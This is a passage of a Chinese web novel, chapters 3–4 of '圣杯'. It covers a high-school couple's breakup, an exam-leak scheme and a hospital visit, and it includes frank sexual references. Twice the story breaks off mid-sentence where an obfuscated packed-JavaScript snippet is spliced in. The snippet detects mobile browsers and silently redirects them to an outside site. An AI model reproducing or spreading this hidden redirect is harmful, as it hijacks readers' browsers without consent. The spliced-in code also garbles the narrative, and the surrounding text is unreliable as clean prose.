《圣杯》 3.chapter 3 圣伊安和迈尔斯的事,要从高三上学期讲起。 芬妮曾开玩笑说,自从迈尔斯高三转来西华,男生最害怕的事就是自己女朋友有他的wx号,而女生最害怕的事,就是自己要不到他的wx号。 其实这也还算好,毕竟到这为止,也只有热衷八卦的那类学生对他紧盯不舍,而那些正经来上学的好学生,只会觉得来了个垫背的。 直到高三第一次分班考试结束,迈尔斯在毫无准备的情况下挤进了年级前五,然后边玩边学进了尖子班,那些好学生才真正对他的到来品出点味道。 迈尔斯的出现就像往一直吃素的狼群里撒了一把肉渣,给了那些仁义礼智信的女生一点小小的震撼。而那帮男生只能眼睁睁看着他变成女孩们茶余饭后的讨论对象,心里默默经历了一场世界观重塑。 光是这样,其实不足以让某些男生恨得牙痒。 可他不但爱玩,还出手阔绰。让那些原本可以靠家境寻求自我安慰的男生发疯发狂,最后只能凭空捏造他的各种谣言,试图攻破他的心理防线。 但他第二天还是会出现在学校。 困了睡觉,饿了吃饭,放学和一帮人混在球场。 还是在话题中心,还是有点动作就掀起一阵讨论。 当然,圣伊安和芬妮并不在“讨论”的队伍里。 而是在“调侃”。 圣伊安第一次正眼看他是在学校食堂。 那会儿高三刚开学,食堂人满为患。她和芬妮逃了半节课,抢占了人人羡慕的靠窗位。 正吃着饭,芬妮戳了她胳膊一下:“哎,那边那三个站着的男生如果同时在追你的话,你答应哪个?” 圣伊安夹了口菜放嘴里,朝那边看了眼。 一个篮球队的,一个辩论队的。 还有一个就是迈尔斯。 “混血吧。”她选的迈尔斯。 “为什么?” “看起来体力不错。” 芬妮把一旁的餐巾纸丢在她身上:“你超黄。” 圣伊安实在想不出其他什么看第一眼就能下论断的理由,只是笑着躲开那包纸巾。 两个人诸如此类的交谈并不少,通常都是一个人抛出虚构的选择题,另一个人以上帝视角做出选择。芬妮不少讲荤段子,但每次听完圣伊安讲的都甘拜下风。 这时候芬妮就会站在道德制高点“谴责”她把男人当菜选,圣伊安就会不以为然地说“女人本身就是上帝”。 就在聊到上帝的时候,迈尔斯刚好买完饭从她们身边经过。圣伊安托着下巴瞅了他一眼,芬妮也跟着看。 等人走远,芬妮说:“年级上有传闻说他喜欢男的,也不知道真的假的。” 圣伊安咬着可乐的吸管:“我只知道我姐在追他。” “圣何娜?!追他?!” “不然呢?” 芬妮思考了一会儿:“一班的陈卜新弄了个迎新会,就在这周六,他估计也会去,到时候咱俩去看看不就知道了?” 就是在这样的情况下,迈尔斯毫无防备地走进了那场打着“认识新同学”旗号的迎新会,并凭借同类相吸的嗅觉,在一众生面孔中精准找到了和自己一样不入流的人。 那就是圣伊安。 两人当场交换了联系方式,迈尔斯加上她后说的第一句话是: 【叫我迈尔斯就行】 她回的是: 【我知道,我姐喜欢你】 迈尔斯当时想,靠,这女的也太直了。而且如果她说的是真的,那两人肯定没戏了。 刚准备洗洗睡了,谁知道圣伊安下句就是: 【所以我才加的你】 这句话火药味明显,信息量爆炸。换做别的男生听到,估计也不敢再接什么,顶多是说说客套话糊弄过去就得了。 但他是迈尔斯。 他发: 【你姐有品】 过了几秒又弹出一条: 【你比你姐更有品】 于是两人很快勾搭在一起。 圣伊安最喜欢的就是他人面兽心的样子,用做题的手帮她爽,用上榜的脸跟她调情,用钱和时间填满她的欲望。 在所有人都为他那张脸望而却步的时候,他和她试遍了一切有可能的姿势。 两人在一起那段时间,过上了一段甚至算得上荒.淫.的日子。荷尔蒙和报复的快感很快占据精神的高地,变成了对对方身体的侵占。 圣伊安拿迈尔斯逗闷子,迈尔斯拿圣伊安气他妈。 本质上都没好到哪去,但也算在百无聊赖中找到点乐趣。 但现在不一样,现在是两人吵架冷战的关口。 * 一个月前,迈尔斯谈恋爱的事被他妈发现,他也因此被切断了大部分资金流。但当时他手上还有点积蓄,加上自己之前买的那点行头,依旧混的人模狗样。 那时候他不紧张,所以没把这事跟圣伊安讲,觉得熬段时间也就过去了。 过了半个月,迈尔斯钱包见底。有天两人一起吃饭,圣伊安因为菜里加不加辣椒跟他大吵一架,他当时觉得莫名其妙,赌气答应了她提的分手。 其实他和圣伊安两人之间的小打小闹,平均一个月能出现五六次,最后要不然是其中一方装无事发生,给对方发条消息,要不然就是陈卜新从中撮合。 只有这次,持续时间最长,且怎么撮合都没用。 说到陈卜新,他是唯一知道两人在一起的人。 还是在巧合下知道的。 高三上学期的时候陈卜新去迈尔斯家找他打游戏,撞破过圣伊安从迈尔斯的公寓里出来。他当时的表情不比见了鬼强多少。 圣伊安完全略过他去按电梯,看他那样又忍不住回头逗他一句:“你敢说出去,我就去学校传你跟迈尔斯有一腿。” 陈卜新来不及反应,就被紧接着推开门的迈尔斯又吓了一跳。 迈尔斯问:“她跟你说什么?” 陈卜新磕磕巴巴地说“没什么”,圣伊安才满意地笑着走进电梯。 从那天开始,圣伊安和迈尔斯的感情但凡出现一点问题,第一个着急的就是陈卜新。因为他怕他俩分了,自己第一个被献祭。 搞得他每天起床第一件事,就是查看学校论坛有没有关于自己和迈尔斯的消息传出来。 是的,一个大老爷们儿,每天都在查这些。 时间来到今天,也是迈尔斯和圣伊安闹分手的第18天。 * 西华食堂。 陈卜新在午饭吃到一半的时候把筷子放下,看着那盘褐色絮状物,酝酿半天终于说出了压在心底已久的话。 “迈尔斯,我知道你分手了,一时半会儿不能从悲伤的情绪里缓过来,但你要是对我有意见,你就直说吧。” 迈尔斯没着急回,手中的筷子继续夹着食堂那份十块钱的面条往嘴里送,咀嚼完后才回复道:“有什么意见?” 陈卜新两腿一蹬:“上上周你说想吃食堂,我陪你过来了,吃他妈俩礼拜了还在吃,次次都是这碗破面条!昨天在球场打球,隔壁班那哥们儿都看不下去了,问我俩最近怎么瘦这么多,我脸上都要挂不住了!” “不错。” “什么不错啊?!” 他和迈尔斯是一个班,两人能混到一起,主要原因有两个。 其中一个就是他贪财,迈尔斯出手又阔。 别看陈卜新平时吊儿郎当的,但凡跟钱扯上关系的事,豁出去了他也得干。比如帮忙从外面带包烟,只要给小费,就没有他不接的活儿。 迈尔斯精得很,自己出去买烟还有可能被学校抓,不如掏钱让陈卜新干。他从校外带烟被学校抓也不记自己的过,到时候烟也抽了,事儿也躲了,一举两得。 迈尔斯拿起旁边的瓶装水喝了口:“最近钱紧,没多余的下馆子。” “你蒙谁呢,那会儿你给伊安姐转了五百我都看见了。” “她没收,”迈尔斯拿起筷子搅拌着面条,“加上她退回来的,我微信就剩五百六,还有二百现金。” 他说的轻松,就像不知道这个月还有二十多天,就像不知道如果圣伊安把钱收了,他兜里就剩六十块。 但迈尔斯一贯的作风就是,别人觉得能省的地方他不省,觉得没必要省的地方他省。就比如他自己都快揭不开锅了,还依旧坚持打车回家,说是要给自己维持最后的体面。 可你要是让他在食堂加两块钱添面,他绝对义正严辞地说不添。 还没等陈卜新开口询问,背后餐桌的几个女生起身抄起餐盘,有说有笑地从两人的桌旁经过。 打头的女生跟两人一个班,见到迈尔斯后立刻朝旁边女生使了个眼色,很自来熟地敲了下桌面:“迈尔斯你卡借我用用呗,买瓶水。” “没钱。”迈尔斯头都没抬一下。 “啧,”女生显然不信,“这么小气干嘛,你请我我下次请你吃饭喽,一瓶水而已。” 眼看迈尔斯还没动静,几人站在原地都有些尴尬。 最后是陈卜新把女生的手从桌子上拨弄开,言辞犀利:“你先把上次班里点奶茶的钱A了再说吧,去去去......” 女生脸上的表情僵了一下,脚下迟迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323374|198916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有离开,还是身边人看出了好赖,硬生生把她哄走了。 陈卜新看人走干净了才回归正题:“你刚刚说只剩五百六?人民币五百六?” 迈尔斯继续吃着面,用平常的眼神看着他。 陈卜新这回信了。 “不是哥们儿,你钱呢?我这月的钱全拿去买鞋了,你现在跟我说你也没了,那咱俩喝西北风啊?” 话刚问出去,几个低年级的男生举着餐盘从身边经过,冲迈尔斯说了句“学长好”,陈卜新看他没接话便自己应下了几人的问候。 等人群都走远,他警惕地看了眼食堂周围的餐桌,就像迈尔斯没钱这事是天大的秘密,不能让任何人知道。 迈尔斯终于吃完,用纸巾擦了擦嘴:“我直说吧,钱肯定是没了,什么时候再有我也不知道,咱学校泄题那事你听说了吧?我妈考试前发给过我一套一模一样的,所以拿到卷子之后我一笔都没写。” 海量的信息进入到陈卜新脑子里,他认真把每句话捋顺后张口:“所以阿姨因为你交白卷这事生气了......然后把你卡停了。” “差不多。” 陈卜新低头沉思了一会儿:“但如果题目不是你泄露的,那为什么这次月考还是有人提前拿到题了?你确定你没发给过别人?” 迈尔斯没接话。 因为题目泄露的事,他曾经怀疑过圣伊安。 两人还没分手的时候,迈尔斯以放松身心为借口骗他妈和朋友去三亚放个小假,实际上是和圣伊安在距家五公里的酒店里玩了一礼拜。 有天晚上圣伊安在顶层的露天泳池里游泳,迈尔斯短暂回过一趟房间,再过去的时候她正坐在泳池边玩他的手机。 她知道密码,所以wx里那个他妈发给他的包含题目的文档她也能看见。 当时的情况———— 他:“嘛呢?” 她:“用你手机点个外卖。” 他:“甭点了,饿了我陪你下楼吃口。” 她:“不是饭,是套没了。” 迈尔斯实在受不了一个女孩在他面前穿着比基尼聊关于套的事。感觉太成人了,又感觉太自然了。他刚十八,他也没见过。 之后就是他压根儿没空管她翻了什么,特别放心地把手机给她用了。 这种怀疑在泄题的消息刚传出来那会儿达到峰值,后来他仔细想了想,以圣伊安的性格,完全不会为了提高成绩做出这种事。哪怕题真的被她看见了,她也完全没理由散播出去。 这么想之后,圣伊安的嫌疑被洗的一干二净。 思绪回到现在。 陈卜新伸手在迈尔斯面前挥了挥:“想什么呢哥?问你话呢!” “就我看了。”他答。 “那就奇了怪了......”陈卜新靠在椅子上,“除非那题从一开始就已经传到很多人手里了,你妈只是其中一个。” 迈尔斯的表情不咸不淡:“所以我想让你帮我拿到这次月考涉嫌作弊人员的名单。” 这就是迈尔斯和陈卜新混在一起的第二个原因。 陈卜新他妈是德育处主任,他借他妈的职务之便知道学校的很多消息。小到什么时候放假,大到校委内部的变动,这次西华大型作弊的消息最早就是从他这传出来的。 这也是为什么陈卜新成绩一般,但依旧能在尖子班里读书。 陈卜新听到他说的话,立刻看向了食堂的周围,压低音量后才开口:“你认真的吗大哥?我去哪给你整啊?” “你妈那啊,”迈尔斯说的理所当然,“考试相关的事一直都是你妈负责,她电脑里肯定有。” 陈卜新也犯了难,虽然一直以来他在他妈的庇护下闯了不少祸,但充其量也都是小孩闹着玩。这次的事明显是校方不想闹大,所以才有意隐瞒,只怕事发查下来会很麻烦。 他捂着额头摩挲半天:“干可以,但你得保证钱真的能变回来。” “保证不了。” “噢,合着你让我去帮你干事,结果你什么都保证不了,我是你的狗啊?愣干啊?” 迈尔斯整个人向后靠,一条手臂搭在邻座的椅背:“如果成了,事成之后钱五五分。” 陈卜新换了只手摩挲额头。 “六.四.。” “成交,”迈尔斯看了眼手机上的时间,拿着空碗从座位上站起来,“拿到之后手机发我,速度越快越好,还有,今天放学不用等我打球了,有事。” “那你也答应我一件事成吗?”陈卜新抬头。 “说。” “没钱你就别他妈打车了,坐地铁吧。” 4.chapter 4 放学后。 圣伊安被芬妮说服去学校附近的便利店大概用了十分钟。 一分钟撒娇,四分钟解释,剩下的五分钟软磨硬泡。 等那声电子音的“欢迎光临”把圣伊安从思绪里拉回来时,她已经不知不觉跟着芬妮走到了便利店门口。正值放学的晚高峰,店内挤满了穿着制服的学生,天气炎热,短裙和长腿目不暇接。 圣伊安不爱这时候来的原因有两个。 一是这条街的学校太多,人也鱼龙混杂,遇到熟人难免要打声招呼。 她觉得麻烦。 二是天气实在太热,这家店又是出了名的不爱开空调,走上一圈,心浮气躁。 芬妮很快选好了要买的东西,倚在吧台上往后撇了一眼:“伊安!我完事了,你还有要的东西吗?” 在她喊出这句话的同时,便利店里的人忽然都默契地安静下来,眼神在室内来回搜寻着那个身影。 圣伊安从最外侧的货架后走出来,制服外套系在腰间,脚下那双马丁靴鞋带太长,绕了小腿两圈才打了个结。她光是走过来的动作就足够震撼,那两条腿又直又长。 西华的女生通常都会把拿到手的制服裙裁短一截,让长度看上去没那么死板。可圣伊安身上那条没裁,就已经穿出了短裙的效果。 和她擦肩而过的学生无一不捂着嘴窃窃私语,对着她发出一声“我靠”以示敬意。 圣伊安就这么走到吧台前:“选好了?这么快。” 芬妮把怀里的零食放在台面上,才发现她两手空空:“你什么都没拿啊?” “嗯,没什么胃口。”圣伊安看了眼需要结账的东西,从兜里掏出手机,“我结吧。” 按理说这次她结并不合适,但芬妮也没有拒绝的意思。 女店员低着头把东西一个个送到扫描枪下,一声声“嘀”音在耳边响起。 芬妮咬着嘴唇组织语言,眼看桌上的东西扫描地差不多了,才有些怯怯地望向圣伊安:“伊安......我才想起来,上次好像就是你结的,这次又让你结怪不好意思的......下次来我请你!” “无所谓,我也没有总陪你来,而且你这月的生活费不都用来买包了?”圣伊安道。 芬妮听了她的话眨了眨眼睛,看向自己放在吧台上的那只奢牌托特包。 她确实很少能攒下钱,或者说从上高中开始就没攒下来过。她物欲高,经常冲动消费,偏偏人又爱赶潮流。 芬妮把头靠在她肩膀上:“我就知道你对我最好了......那我还想抽包烟,我那包被老班没收了。” 圣伊安无语地撇了她一眼,转头对店员开口:“给她拿包爱喜的双爆。” 店员已经对这种情况习以为常,只是叹了口气,从身后的玻璃柜里掏出一包烟,扫完后扔到桌上:“被抓了别说在我们这买的。” 芬妮才不管这些,搂上圣伊安的胳膊,语气是女生间才会有的娇嗔:“谢谢你亲爱的。” 两人结完账出来,路上已经没了刚刚的人流,芬妮拉着她沿大路往车站走,边走边刷着手机。 因为早上男生发疯的事在论坛里闹得沸沸扬扬,所以她一天的课都没怎么认真上,一直在网上看大家的评论找乐子。 圣伊安在旁边打了个哈欠,对她的边走边刷习以为常。 芬妮突然笑着把手机举到她面前:“你看这个,逗死我了。” 一条最新的热帖冲在前面,仅次于男生发疯的那条。 标题是: 【你们觉得这次学生会会长谁能当选?】 芬妮点开,果不其然,大家都是抱着娱乐的心态在调侃: 【谁有资格,那肯定是伊安姐啊,伊安姐当上会长,早读只有一个任务,那就是睡觉!谁敢抬头背书,先扣他五分。】 【我选圣伊安,尖子班水太深了,先是考试作弊,又是早上疯一个男的,谁知道什么情况......】 圣伊安对这些玩笑习以为常。 她知道大家之所以这么说,只是因为她成绩足够差,如果当选,效果足够搞笑。在论坛这个八卦大于讨论的环境里,谁不想看个无伤大雅的笑话? 两人正聊着,就听耳边传来一道尖锐的刹闸声,圣伊安快一步拽开芬妮,脱口而出一句“小心”。 可为时已晚,一瞬间的力道撞向她的肩膀,整个人刚站稳,又立刻失去重心退了两步。 还没从混乱中缓过神,身后的一排自行车就像引发了连锁反应,一辆接一辆被碰倒在地。巨大的噪音在半空中持续了很久,直到最后一辆车倒下,几人纹丝不动站在原地。 撞过来的男生吓坏了,赶紧把自己的自行车停到一边,边鞠躬边对圣伊安说着抱歉的话。 芬妮从惊吓中反应过来,冲男生大喊:“你眼睛瞎了?骑车不看人啊?” 圣伊安从地上捡起掉落的制服外套,抬手掸了掸上面的土,转头对芬妮说:“看看你手机,没摔坏吧?” “没,倒是你,干嘛挡在我前面?” “这不是没事?放心吧。” 芬妮这才瞪了男生一眼,却发现他依旧僵直地站在原地,眼神死死盯着圣伊安的腿,那表情比担忧吓人得多。 如果有一个词形容,那就是惊恐。 芬妮看他那样白了他一眼:“又没让你赔,至于吓成这样吗?” “不是不是!”男生举起一条胳膊,颤抖着指向圣伊安的腿。 两人这才把目光转向它所指的方向。 圣伊安右侧的小腿上被划开了一条血痕,那痕迹平直利落,呈现出可怖的深红色。血液不断从中涌出,滑过皮肤滴落进靴子里,就在几人看着的过程中,还在不断流动。 芬妮尖叫着捂住嘴:“伊安......” 圣伊安神情严肃,下一秒,她拉开自己的背包拉链将手伸进去摸索。 原本放着抗生素药瓶的地方此时空荡荡一片。 芬妮和男生一起围了过来。她蹲下身查看伤口,又看了眼刚刚被圣伊安推倒的那排自行车,矮栏处正凸出一条锋利的钢钉,许是后退时划伤的。 男生彻底慌了神,掏出手机想要拨打急救电话,却被圣伊安抬手拦下。 “不用,路口就有家医院,我去处理下就好。” 她表情丝毫没有失控。 或者说没有这道伤口呈现出来的半分疼痛。 芬妮抬头担心地看向她:“你确定能走吗?这个还挺严重的......不过伊安,你怎么看起来一点也不疼......” “你没有感觉吗?” * 圣伊安没有痛觉的事只有两个人知道。 一个是她自己,另一个就是迈尔斯。 这种对痛觉的彻底丧失,在她刚出生那会儿并没有被发现,就连体检也很难有针对性地查出。 这就导致身边的家人一度以为她很能吃辣,无论多辣的东西她都能脸不红心不跳地咽下去。只有她自己清楚,她不是能吃辣,而是辣的本质是痛觉,她感受不到痛而已。 她没告诉家里人,是觉得以她爸的脾气,要是知道了免不了会拉着她四处求医,至于她姐就会像抓住她的把柄一样冷潮热讽。她弟更不用说了,一点作用都没有。 即便如此,在圣伊安十岁之前也没把这事当个事来看。直到有年冬天,她趴在家里的壁炉前看书,一不小心睡着了。壁炉的火顺着地毯烧到她的头发,她无从感知,佣人恰巧来查看,她才勉强逃过一劫。 这件事才因此被重视起来。 她在网上查看了很多国内外的相关资料,试图寻找根治的方法。 结果只得出一个结论:无法根治,且只能通过及时检查和服用抗生素,尽量减少由失去痛觉引发的其他病症。 她想开了。 没有痛是多少人求之不得的事。 步入高中后,她能感受到自己周围的同龄人都在因为青春期的荷尔蒙而疯狂躁动。只有自己,在情绪稳定中快速坠向无聊。 她看到迈尔斯的第一秒其实是看到了他的手。 当时在迎新会上,他抚摸别墅主人的金毛,那条狗在他掌心的摩挲下坐了下来。于是他用了点力道抓挠小狗的头部,使狗狗乖顺地靠在他腿边。 圣伊安看着他。 周围的人都在随着音乐舞动,只有她看着他。 迈尔斯回了她一个目光,然后打招呼似的点了下头。 圣伊安鬼使神差地开口:“它好像很喜欢你,你用的什么方法?” “我第一次见它,”迈尔斯继续摸着金毛的头,“不听话就惩罚,听话了就顺毛捋。” “它吃这套?” “吃,”迈尔斯收回手靠在沙发上,“有时候惩罚比奖励更管用。” 惩罚。 这个词在她生命中消失了太久。 无论是现实意义上,还是调情上。 圣伊安从小到大,但凡是想要得到的东西,无论花多少钱她爸都会满足。就算是闯祸挨揍,棍子打在掌心,对她来说也不过是挠痒痒。 后来她谈过两个男朋友,对她也是百依百顺。看在她家的背景上不敢得罪她,在她觉得水到渠成该玩点刺激的时候,纯情地在她脸上留下一个轻若无物的吻。 惩罚,她觉得那大概是一种痛觉。 她感受不到,所以未曾拥有。 于是她问:“痛了才算惩罚吗?” 迈尔斯几乎是不假思索地开口:“爽得发麻也是。” “比如做.爱。” 她看他,他看她。 当晚通过了好友申请。 迈尔斯起码是一个言出必行的人,在说到做到这点上无人能敌。他说了让她爽就真的让她爽,哪怕感受不到痛,也能变着花样让她高.潮。 恰到好处的窒息,必要时候的捆.绑,以及在完全黑暗环境下让她凭触觉去感受。两人玩火但不自焚,床上的任何事都停在床上,下床之后他还是他,她也还是她。 ———“这几个药都看说明涂,三天后过来换纱布。” 回忆顺着头顶的冷光灯回到现在,圣伊安朝窗口内的医生点了点头,接过了递来的药。 晚上的医院不算冷清,整个急诊大厅有一半的座位都坐着人。明显的消毒水气味,和不断循环的电子屏都在提醒她———今天伤惨了。 圣伊安坐在角落的椅子上一动不动,她刚包扎完伤口,试图酝酿出一丝独自来医院的悲凉情绪。 结果就是她失败了,只能重新拿起手机,百无聊赖地翻着屏幕。 二十分钟前她发了个朋友圈,设置了密友可见。内容就是一张在医院的照片,俯拍,腿上的纱布露了出来。 配字是:本月第一摔。 有点自嘲的意思。 这条朋友圈就这么顺着网线,爬到了陈卜新的手机屏幕里,然后被他截图下来,发给了迈尔斯。 迈尔斯收到消息时正往地铁站里走,花了两秒钟改变主意,从路边扫了辆哈罗单车骑了过来。 圣伊安就像有预感一样,看了眼急诊大厅正中间的时钟。 19:00整,医院的落地窗外,迈尔斯把自行车停在了规定位置内,然后从大门走了进来。 他眼神扫到圣伊安的时候,她正葛优瘫在椅子上,由于伤口包扎不方便跷二郎腿,整个后背都快要滑到坐垫的位置。 迈尔斯沉着脸朝她走过去,被几个候诊的陌生人盯了一路。毕竟混血走到哪都引人注意,但这次倒真不是因为他是混血,而是他的头发彻底被风吹歪了。 圣伊安嬉皮笑脸地看着他走到自己面前。 “你骑车来的?”她问。 “嗯,锻炼锻炼身体。”他边走边做了个扩胸运动。 分手后的头一次见面,两人都默契地没提冷战的事。过了几秒钟,圣伊安被他的幽默弄的笑了一下。 迈尔斯走到她跟前,俯身托起她摔坏的那条小腿。圣伊安被他拽得往前挫了一下,整个身体险些滑下座椅。检查过后,他将那条腿放回地上。 迈尔斯把她书包挪了个位置,自己坐到了她旁边。 “怎么弄的?” 圣伊安开口道:“跟芬妮一起放学,没看路,不小心摔的。” 她嫌麻烦,没说被人撞的事。 “芬妮人呢?” “我让她回家了,”圣伊安坐的舒服了些,“两个人在这儿也是干坐着,她比我还着急,帮不上什么忙。” 迈尔斯露出一个意料之内的表情,把注意力转回到她身上:“药都开了吗?” “开好了。” “抗生素呢,吃了吗?” “落学校桌斗里了。” 迈尔斯就像知道她忘了拿一样,从外套口袋掏出一个药盒扔给她。圣伊安看他这架势像在示好,于是拿起药盒接招。 “帮我接点水吧,我嗓子疼,不好咽。” 她只是普通说,在他看来却像在撒娇。 迈尔斯看向她,然后从座位上起身准备去买水。 圣伊安拽住他衣袖:“哎,我包里有保温杯,走廊那边就有饮水机,比出去买更近。” 迈尔斯被她说动,翻出水杯后就朝走廊的方向走了过去。等到他接了一杯回来,圣伊安正撑着脑袋等他。 迈尔斯吹了吹水杯里的水,然后伸手递给她。圣伊安盯着他的眼睛接过杯子,放在嘴边抿了一口,觉得温度正好,才倒出一粒药吞下去。 “你今天没在学校打球?”圣伊安扣上药盒。 今天周一,按照之前的惯例,这个时间是迈尔斯去体育馆打球的时间。两人刚在一起那会儿都会刻意把周一晚上腾出来。 迈尔斯回:“没去,累了。” 他没说自己累了的真正原因是中午没吃饱,如果不是看到圣伊安在医院,自己现在应该在超市里抢购打折商品。 就像他从来没和圣伊安提过,他和他妈的关系已经到针锋相对的地步了。 圣伊安只是对他的话点点头,动作由撑头改为双手抱胸,看着窗外渐渐暗下去的天。她看了大约两分钟,才把头转回来。 “你没什么想跟我说的吗?”她问。 迈尔斯双臂撑在腿上,没有和她对视。 想。但想说的太多了。 他想说他不是不想找她复合,是他没钱了,暂时买不到拿的出手的礼物。他想说他有办法让一切恢复到原来的轨道,但前提是搞定他妈。他想说他好累,学校的午饭真他妈难吃,如果不是她在医院,他真想好好回家洗个澡睡一觉。 他想说从走进医院的那刻他就该亲她,而不是磨磨唧唧地倒了杯破水。 但他说:“你饿吗?” 空气里安静了几秒。 圣伊安把开的药全部塞进背包,等一切弄好后从椅子上站了起来。 “饿了,你请我吃饭吧。” 她开口从来都是这样理所当然,哪怕是迈尔斯大老远来找她,哪怕似乎该表达感谢的是她。 迈尔斯已然习惯,跟着站起来:“去哪吃?” “路边摊应该还开着。” * 她说的路边摊是只有晚上才营业的小店,主做拌面,基本都是下了晚班的工人来寻温饱。店面不大,甚至都没有牌匾,在一条破旧的街道里,几十年没涨过价。 到夏天,老板会放几张矮桌在室外,配套的塑料板凳经常有裂痕还在坚持用。 两人在一起的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是刻意的那种,就像是一种习惯,和走路的时候喜欢搭她肩膀一样。只是这习惯更暧昧,像是本能的肌肤渴求,吃累了停下的间隙还会摩挲两下,或者轻拍她腿代替叫她名字。 不像圣伊安,叫他就是每句话前面都加个“哎”。 所以圣伊安现在看他左手不自然地架在桌上,心里倒有点不自在,再想到自己之前净花他钱了,也没对他多好,心里就更不自在了。 迈尔斯吃得急,还没等她缓过神,就放下筷子说了句“我饱了”,碗里还剩了半个鸡腿。 圣伊安也没再多问,因为她知道,以迈尔斯的习惯,放筷就代表绝对不会再拿起来。 她一度认为人的吃商就是恋商。因为满足口欲和满足精神本质都是满足欲望,看一个人怎么对待吃,就知道她怎么对待别的。 迈尔斯吃饭再饿也只吃七分饱,只要他觉得够了,桌上哪怕有和他胃口的菜,他也不会再拿起筷子。 她喜欢的就是他这种克制。 迈尔斯起身掏出烟盒,去街对面的垃圾桶抽烟,那地方聚了几个正在抽的男人,他能借到火。 圣伊安则是继续扒拉了几口面条,吃饱后拿起桌子上的手机在半空中晃了晃,提高了些音量冲着街对面的人说:“拿你手机结了!” 迈尔斯弹完烟灰点了点头,目光跟随女生的身影进到店内,一直看着她跟老板攀谈。 她腿长,穿什么裙子都好看,哪怕是学校的制服也好看。 圣伊安手里拨弄着他手机的屏幕,没过一会儿又掏出自己的手机,有说有笑聊着天。 大概有五分钟,他抽完走回来,圣伊安也刚好结完账。她把手机还给他,两人站在路边准备各回各家。 “我打辆车,先送你再送我,顺路。”迈尔斯提议。 圣伊安抬手止住他:“我自己拦个车就走了,你也早点回去吧,省的麻烦。” 她说完便朝路中间伸出一条胳膊,没给他商量的时间,一辆黄绿相间的出租车缓缓停在了面前。 圣伊安刚要收回手去拉车门,动作突然停顿了一下,像丢了什么东西。 但包,手机,刚开的药都在。 她忽然感觉手腕上空空的,再摸过去的时,发现自己一直戴着的那条手链不见了。那是去年生日迈尔斯送她的生日礼物,不便宜,所以丢了也会有点心疼的那种。 圣伊安来回看看地面,依旧没有看到手链的影子,回想了下可能是在自己摔倒的时候就丢了。 “找什么?”迈尔斯问。 “手链,”圣伊安呼了口气拉开后座车门,“算了,反正也过时了。” 她买衣服买包的速度很快,确实会因为款式过时不再掏出来。但这条手链,她是真的喜欢,只不过两人正在分手状态,东西又丢了,难免心里憋屈。 迈尔斯知道她说的是哪条,刚要接话,圣伊安已经钻进了车里,和司机说了自己家的地址。 司机一听便觉得麻烦,转过头:“美女,你去这地儿有门禁,我这车开不进去,而且......你看都这个点了,这地儿实在有点绕远......” 圣伊安还没反应,迈尔斯便从口袋里掏出一只lv的钱包,抽出里面所剩无几的两张红票递给司机。 “停别墅门口就行,麻烦您看她进去了再走。” 放在往常,圣伊安肯定笑着夸他两句,但今天她只是安静坐在后座,把头转向了另一边的车窗,只给他留了一个被发丝遮住的侧脸。 司机喜笑颜开地接过钱,信誓旦旦打着保票。 迈尔斯这才关上车门。 “嘭”一声后,车子发动,缓缓离开。到最后一刻,圣伊安也没转身,两人谁也没说再见。 迈尔斯站在路边看车子驶远,不知过了多久,夏夜的凉风才吹得他打了个喷嚏。他外套还在她身上,现在自己只剩了件单薄的t恤。 时间太晚,没有别的交通方式能选择。他只能拦了辆出租车,然后钻进后座。车门关上后,他突然感觉有点挫败。不单单是和好这事,也是最近很多事,于是靠在椅背上闭上眼睛。 手机在手中振动了一下,屏幕亮起,是陈卜新发来的一条新消息。 【怎么样啊迈总,是不是把伊安姐感动的要死要活的?你俩和好没有?】 迈尔斯看着烦,正准备关掉屏幕。 前排的司机刚巧开口:“国贸公寓是吧,那我就按导航开了?” “嗯。” 他回答完,手指在屏幕上停了一会,随后看了眼计价器上不断跳动的数字,第一次有点心虚。他想看看自己还剩多少,于是原本要按退出键的手指按进了wx钱包。 这几秒漫长得像过了一个世纪。 结果就是,页面弹开,那串惨淡的数字并没有出现。 反而在原来的基础上,凭空多出了三千块钱。 他眼底短暂闪过一丝诧异,迟迟停在这个页面。 只有一种可能,那就是圣伊安在拿他的手机去结账的时候,用自己的手机给他转了三千。怕他不收所以点了领取,最后默不作声地把那条转账记录连同聊天记录一起删除了。 他先是不可置信地愣住,接着抬手摩挲起额头,回想她刚刚的一举一动。 车内寂静无声,笑声是过了一会儿才流出些,但依旧很闷,很短促。 “操......” 司机听到声音从前排后视镜看了一眼。 迈尔斯强迫自己看窗外的景象。 等再次把视线转回到手机上时,是把那三千块钱一次性转到了同一张卡上。那卡是圣伊安的,他之前就往里面打过钱,所以知道卡号。 做完这一切,按灭屏幕。 车窗的倒影里,他眼睛红了一圈。